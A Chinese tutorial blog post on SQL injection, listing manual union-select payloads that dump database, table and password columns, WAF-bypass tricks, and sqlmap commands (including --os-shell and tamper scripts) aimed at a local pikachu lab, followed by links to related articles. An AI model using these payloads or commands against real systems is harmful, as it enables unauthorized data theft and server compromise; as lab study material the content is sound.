前言

记录一些注入思路和经常使用的工具,后续有用到新的工具和总结新的方法再继续补充。

如何测试与利用注入点

手工

下面的现象是在说存在注入点后的现象,如果服务端有防护手段就需要另外的手段绕过。

老方法:

  • 单引号

    现象:出现数据库报错。

  • or 1=1--

    现象:正常访问页面或者跟多数据一起展现出来了。

  • and 1=1--

    现象:正常访问页面。

  • and 1=2--

    现象:不会显示任何内容或者会看到报错信息,这取决于服务端代码是如何写的。

  • order by n

    现象:判断该表的字段数量,直到没有报错即order by后面那个n就是字段数

  • union

    前提:知道表的字段数量,所以可以先使用上面的order by进行测试字段数

    payload:union select user(),database()--

    现象:若存在注入点,这里的union使用的地方通常是可以展示多个数据的地方,因为联合出来的数据会很多条,若存在注入点union注入的能力会十分强大。

    MySQL5.0以上有information_schema数据库信息

    • 获取所有数据库名:

      union select 1,group_concat(schema_name) from information_schema.schemata

    • 获取当前数据库所有表名:

      'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    • 获取某些表的所有列名:

      'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

      其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name="users"

    • 获取某表的所有字段数据:

      ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

      0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起进行显示

注入思路

  • 第一步:找注入点,寻报错

    单引号、双引号、单引号+括号、双引号+括号、单引号+双括号、双引号+双括号、数字型(不用闭合)、json等等类型注入(post数据)、http header注入...

  • 第二步:

    • 若第一步发现有回显报错信息出现,则可以进行sql注入语句的编写。

      • order by 、union select 等方法猜测后端代码中这条sql语句查询的属性列数是多少

        • 如果被拦下了:对数据进行编码、大小写混用、双写、字符串拼接等等
      • union select 1,2,3...,直到查询列数后,通过查询一个不存在的数据然后与union select联合查询配合回显显示位

        • 若有回显信息

          修改显示位为我们要获取的信息,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema来快速拖库。

        • 若无回显信息

          尝试bool盲注、base on time时间型注入等等。这里也可以尝试报错注入。

    • 若第一步无回显信息出现。

      • 尝试报错注入。
      • dnslog注入拖库
      • bool盲注、base on time 时间型注入等等
      • http header 数据包中寻找注入点。
  • 第三步:

    • 编写能够通过前后端检查的sql注入语句
    • 使用工具拖库
    • 可尝试使用数据库自带的可执行系统命令进一步渗透。

工具

以下是一些工具注入手段。

在Github或谷歌搜索都能搜到

  • Pongolin(穿山甲)

  • Havij(萝卜头)

    来自国外的,比较经典且实用,就是注册的时候有点麻烦,可以通过报错的信息发现缺少什么组件去网上直接找解决方法即可。

    可以执行后端数据库指纹识别,检索DBMS用户和密码哈希,转储表和列,从数据库获取

    数据,执行SQL语句甚至访问底层文件系统并发出操作系统级命令

sqlmap

下载地址:https://github.com/sqlmapproject/sqlmap

介绍:是一个开源的渗透工具。使用python2.7开发的,所以我们使用的时候需要用python2。或者直接去kali系统使用,kali自带了sqlmap工具。而且他的参数都是直接添加即可,没有顺序可言,就很方便。

执行命令后可能会提示,下面使用简单的-u对一个网址进行测试作为示例入门:

  • 1:sqlmap测试出来时哪个数据库的时候会提示你是否还继续测试其他数据库的payload注入语句,这里一般输入n,你不放心就可以y

  • 2:没有设置level和risk的话就会询问你是否默认都为等级1

  • 3:找到注入的参数后就会询问你是否还要继续找其他注入参数,这里就看自己需求

  • 出结果:

开始介绍参数使用与示例

-r

  • 介绍:万能参数,主要针对post注入,但是任何其他请求方法都是可以的,这个参数用的最多。该参数是将数据包文件中的数据发送出去测试sql注入点,所以测试网站中某个url是否有sql注入点就可以抓包,然后保存下来,使用-r参数进行对该url测试。

执行命令:python2 sqlmap.py -r 数据包文件



-u

  • 介绍:只针对get请求,并且参数url最好用双引号括起来。避免有些符号无法转义当成参数写进去了。

执行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"

-m

  • 介绍:上面的-u只能对一个url进行测试,那么肯定能够对多个url进行测试的参数,那就是-m了,需要注意的是-m的参数是指定文件,我们多个url是写在文件中,然后-m指定该文件

执行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt

注意:若你使用的url都是同一个ip地址下的网址的话,在测试过程中,会出现问你是否跳过同一个ip下的另一个url网址测试,这时候需要你选择否来继续测试你文件中的下一个url网址,如果不是同ip仅仅只是询问你确认该网址。如下图就是同一个ip下的两个网址进行测试,轮到下一个的时候会询问你是否跳过,我们要测试的肯定一般都不会跳过,所以选择否。

--level

  • 介绍:执行测试的等级(1-5,默认为1),使用–level 参数且数值 >=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

执行命令:按照上面的执行语句加一句 [--level 等级] 即可,如下

python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

注意:比如你写了level 3,那么在询问你的时候就会是 level 3,但是risk还是默认1,如下图

--risk

  • 介绍:执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

同理注意:比如你写了risk3,那么在询问你的时候就会是 risk3,但是level还是默认1,很容易发现,如多level 和 risk都定义了参数等级那就不会按照默认的等级来。


通常情况下使用level 3 risk 3就可以。


-v

显示详细信息的意思,ERBOSE信息级别: 0-6 (缺省默认1),其值具体含义:

  • “0”只显示python错误以及严重的信息;
  • "1"同时显示基本信息和警告信息(默认);
  • “2”同时显示debug信息;
  • “3”同时显示注入的payload;
  • “4”同时显示HTTP请求;
  • “5”同时显示HTTP响应头;
  • “6”同时显示HTTP响应页面;

如果想看到sqlmap发送的测试payload最好的等级就是3。设置为5的话,可以看到http相应信息,比较详细。

执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3

学到这里其实已经发现我们的参数逐渐完善了,基本的语句就是上面的例子↑

-p

-p就是指定你注入的参数,比如id是一个注入点,那我们在测试的时候就可以指定id参数,-p id,这样测试会让测试时间大大减少。不管是post数据包还是get的url都是可以使用-p 直接指定注入参数。

--threads

  • 介绍:指明发送请求的并发线程数量。线程数越低判断出来的sql注入准确率越高。

    • 注意:这个默认线程数量在 sqlmap文件夹\lib\core\setting.py 中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是说你使用--threads 指明的线程数最大也就10,想要指定更大的就修改配置文件。(一般不需要很大,不然对方服务器也顶不住这么大的请求数量。甚至还有可能封你ip)

-batch-smart

智能判断测试,自行寻找注入点进行测试 (该命令很少用)

这个智能指令,会将所有数据库全部扒一遍,并且会将每一步的信息和数据全部给我们保存下来,在如下目录中

记住,这个参数测出来的信息会很多,数据库、表等等都会出来。

--os-shell

个人不推荐使用。(动静大不说,等待时间还比较久)

前提条件

  • 网站必须是root权限

  • 攻击者需要知道网站的绝对路径

  • GPC为off,php主动转义的功能关闭

该功能耗费时间比较长。

原理

就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

--mobile

直接加上--mobile即可,他会自动让你选择手机型号,不用自己输入手机型号(所以也有局限性,但是也不算局限性,市面这么多手机,只要能够让网站判断是手机访问的即可了)

tamper插件

使用方法:

sqlmap.py -u url --tamper "base64encode.py";

获取数据的相关参数

以下参数都是直接加上去即可,不用另外添加数据

例子:http://192.168.121.151/sql.php?id=1 --dbs

  • --dbs # 会获取所有的数据库
  • --current-user #显示当前用户
  • --current-db #当前连接数据库名
  • --is-dba #判断当前的用户是否为管理员
  • --users #列出数据库所有所有用户

暂时了解这么多,后面继续进阶了再继续学习补充...


SQL注入方法的更多相关文章

  1. sql注入方法以及防范

    sql注入方法: 1.数字注入 ; get请求 www.bobo.com?id=1 可以查出 ID等于1的一条数据. 如果有人在链接后面增加  www.bobo.com?id=1 or 1=1 / w ...

  2. 另类的SQL注入方法

    前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...

  3. ref:web 防止SQL注入方法

    ref:https://blog.csdn.net/beidou321/article/details/6482618 小结:spring采用JdbcTemplate来操作sql,一般不要自行拼接sq ...

  4. PHP最全防止sql注入方法

    (1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count ...

  5. 防止SQL注入方法总结

    一.参数化SQL 是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值,用@来表示参数. 在使用参数化查询的情况下,数据库服务器不会将参数的内容视为 ...

  6. 使用php函数防止SQL注入方法

    什么是SQL注入? SQL注入是指在你系统防御之外,某人将一段Mysql语句注入到你的数据库.注入通常发生在系统要求用户输入数据的时候,比如用户名的输入,用户可能输入的不是一个用户名,而是一段SQL语 ...

  7. 防止sql注入方法 如何防止java中将MySQL的数据库验证密码加上 ' or '1'= '1 就可以出现万能密码 的PreparedStatement

    package com.swift; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Prepar ...

  8. 网站防止SQL注入方法

    方法:所有获取GET.POST变量都先进行过滤: 字符串-- htmlspecialchars(addslashes($string))  addslashes() 函数返回在预定义字符之前添加反斜杠 ...

  9. SQL注入方法之:获取列名

    select col_name(object_id('table'),1) from sysobjects where name='table'

  10. 防sql注入方法

    mysql_escape_string(strip_tags($arr)) /** * 函数名称:post_check() * 函数作用:对提交的编辑内容进行处理 * 参 数:$post: 要提交的内 ...

随机推荐

  1. Spring6 的JdbcTemplate的JDBC模板类的详细使用说明

    1. Spring6 的JdbcTemplate的JDBC模板类的详细使用说明 @ 目录 1. Spring6 的JdbcTemplate的JDBC模板类的详细使用说明 每博一文案 2. 环境准备 3 ...

  2. 5GC 关键技术之 MEC 边缘计算

    目录 文章目录 目录 前文列表 MEC 边缘计算 ETSI MEC 标准化参考模型 MEC 架构设计原则 MEC 分层架构 MEC 系统架构 MEC 软件架构 MEC in NFV 融合架构 ETSI ...

  3. pageoffice6在线编辑word 文件禁止鼠标右键

    有时让用户使用PageOffice只读模式(OpenModeType.docReadOnly)打开Word文件后,为了更好的只读效果,还希望禁用Word中的右键菜单,实现此效果只需创建com.zhuo ...

  4. AIRIOT可视化组态引擎如何应用于物联业务场景中

    在物联网的业务应用场景中,可视化组态是一个必不可少的功能需求.不同的行业场景,都需要将物联设备采集的数据和业务场景状态进行直观的可视化展示,供使用者进行分析或决策.如工艺流程用能监测.3D场景构建.能 ...

  5. pytorch(GPU版)安装

    确认有无英伟达显卡,有才能安装GPU版的pytorch,否则只能装CPU版 1.任务管理器->性能: 设备管理器->显示适配器,也可以: nvidia驱动安装地址(大部分电脑自带,不需要额 ...

  6. 基于webapi的websocket聊天室(番外二)

    我比较好奇的是webapi服务器怎么处理http请求和websocket请求.有了上一篇番外的研究,这里就可以试着自己写个非常简易的webapi服务器来接收这两种请求. 效果 http请求 消息打印 ...

  7. linux 环境下安装python3.7

    虽然Linux系统默认自带python环境但是比较老了,今天有需要刚好重新配置一下,其他版本同理!不局限于python3.7.0 终端下到python官网找到下载路径, 用wget下载py3.7 wg ...

  8. kubernetes ingress部署

    ingress概念 ingress与service,deployment同样都是k8s中的一种资源 ingress用于实现域名方式访问k8s内部应用 安装ingress 1. 安装helm: wget ...

  9. mysql笔记第一天: 介绍和MySQL编译安装

    一.DBA的工作内容: ![](371eaced-e10b-46d9-89e2-f63f15503bb6_files/9edcd22a-ef2d-4c3e-8474-3049255610db.jpg) ...

  10. 鸿蒙HarmonyOS实战-Web组件(请求响应和页面调试)

    前言 请求响应是指客户端发送请求给服务器,服务器接收到请求后返回的响应.响应包含了服务器处理请求的结果,并将结果返回给客户端. 页面调试是指在开发过程中,通过调试工具分析页面的运行状况,查找问题和修复 ...